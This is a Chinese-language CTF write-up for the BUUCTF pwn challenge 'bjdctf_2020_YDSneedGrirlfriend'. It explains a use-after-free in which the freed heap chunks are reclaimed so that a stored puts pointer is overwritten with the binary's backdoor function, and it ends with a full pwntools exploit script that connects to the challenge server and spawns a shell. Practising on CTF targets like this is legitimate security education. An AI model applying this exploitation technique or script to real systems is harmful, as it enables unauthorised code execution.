[BUUCTF]PWN——bjdctf_2020_YDSneedGrirlfriend（UAF）

bjdctf_2020_YDSneedGrirlfriend

1. 例行检查，64位程序，开启了canary和nx
   

2. 试运行一下，看看大概的情况，常见的堆题的菜单
   

3. 64位ida载入，首先是检索字符串发现了程序中的后门函数，backdoor=0x400b9c
   

4. add_girlfriend()
   
   del_girlfriend（）
   
   print_girlfriend（）
   

5. 常见的uaf漏洞的利用方法，不清楚的详细看ctfwiki
   show函数会调用chunk里的puts输出chunk里的name，如果将调用puts函数的地方覆写成backdoor，那么在执行show调用puts的时候就转去执行backdoor了，这样就获取了shell

利用过程

1. 首先在看一下add产生chunk的过程

  +-----------------+                       
   |   put           |                       
   +-----------------+                       
   |   content       |       size              
   +-----------------+------------------->+----------------+
                                          |     real       |
                                          |    content     |
                                          |                |
                                          +----------------+

申请两个chunk，看一下堆布局

2. 然后释放两个chunk，现在fast bin chunk 中链表为 chunk1->chunk0
   
   我们现在在调用一次add申请一个0x10大小chunk2，这样chunk2就能申请到chunk1的地址，之后申请的用来存放name的chunk就能申请到chunk0的地址。
   
   如图标记，如图标记，一开始的时候，标记的chunk0里存储着puts函数的地址，我们现在要将puts改为backdoor

add(0x10,p64(backdoor))

修改成功，然后由于uaf的存在，show（0）就能调用backdoor了

完整exp

from pwn import *

p=remote('node3.buuoj.cn',26099)
#p=process('./bjdctf_2020_YDSneedGrirlfriend')
elf=ELF('./bjdctf_2020_YDSneedGrirlfriend')

def add(size,name):
	p.sendlineafter("Your choice :",'1')
	p.sendlineafter("Her name size is :",str(size))
	p.sendlineafter("Her name is :",name)


def dele(index):
	p.sendlineafter("Your choice :",'2')
	p.sendlineafter("Index :",str(index))

def show(index):
	p.sendlineafter("Your choice :",'3')
	p.sendlineafter("Index :",str(index))

backdoor=0x400b9c
add(0x20,'aaaa')
add(0x20,'bbbb')

dele(0)
dele(1)

add(0x10,p64(backdoor))

show(0)
p.interactive()